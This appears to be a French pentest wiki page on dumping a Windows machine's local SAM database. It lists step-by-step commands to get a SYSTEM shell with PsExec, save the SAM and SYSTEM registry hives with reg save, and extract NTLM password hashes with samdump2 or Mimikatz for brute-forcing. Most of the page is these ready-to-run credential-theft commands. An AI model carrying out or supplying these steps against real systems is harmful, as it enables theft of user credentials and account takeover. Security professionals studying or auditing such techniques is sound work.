[Exploitation/Windows] Récupération base SAM locale

Introduction

La **base SAM** sur un poste ou un serveur Windows stocke l'ensemble des **hashs NTML** des utilisateurs locaux.

Si un attaquant parvient à la récupérer, il pourra lancer une attaque brute force pour essayer de trouver le mot de passe en clair.

Cependant, le fichier est protégé et nécessite les droits utilmes NT authorité système pour la récupérer.

Manuel

- Tout d'abord, téléchargez la suite **SysInternal** sur le site de Microsoft :

https://learn.microsoft.com/fr-fr/sysinternals/downloads/sysinternals-suite

- Vous pouvez extraire l'archive dans le dossier **C:\Windows\System32** pour avoir **PsExec** dans le path.

- Désormais, lancer un **cmd** en tant qu'administrateur et lancez la commande suivante :

```
PsExec.exe -s -i cmd.exe
```

- Acceptez les conditions d'utilisation de PsExec et observez que vous avez les droits suprêmes dans le nouveau shell :

```
whoami
```

- Lancez les deux commandes suivantes pour extraire la base sam et le fichier système associé :

```
reg save hklm\sam c:\sam
```

```
reg save hklm\system c:\system
```

Les deux fichiers sont désormais récupérable à la racine de votre système de fichiers !

Samdump2

Ensuite, vous pouvez récupérer les hashs grâce à l'outil **samdump2** sur Linux :

```
samdump2 <SYSTEM_FILE> <SAM_FILE> [-o OUTPUT_FILE]
```

Mimikatz

Sinon vous pouvez procéder avec **Mimikatz** pour récupérer les hashs :

```
mimikatz.exe
```

Une fois dans le shell de mimikatz :

```
privilege::debug
```

```
token::elevate
```

```
lsadump::sam system sam
```

Revision #5
Created 27 October 2023 09:12:47 by Elieroc

Updated 3 May 2024 13:11:20 by Elieroc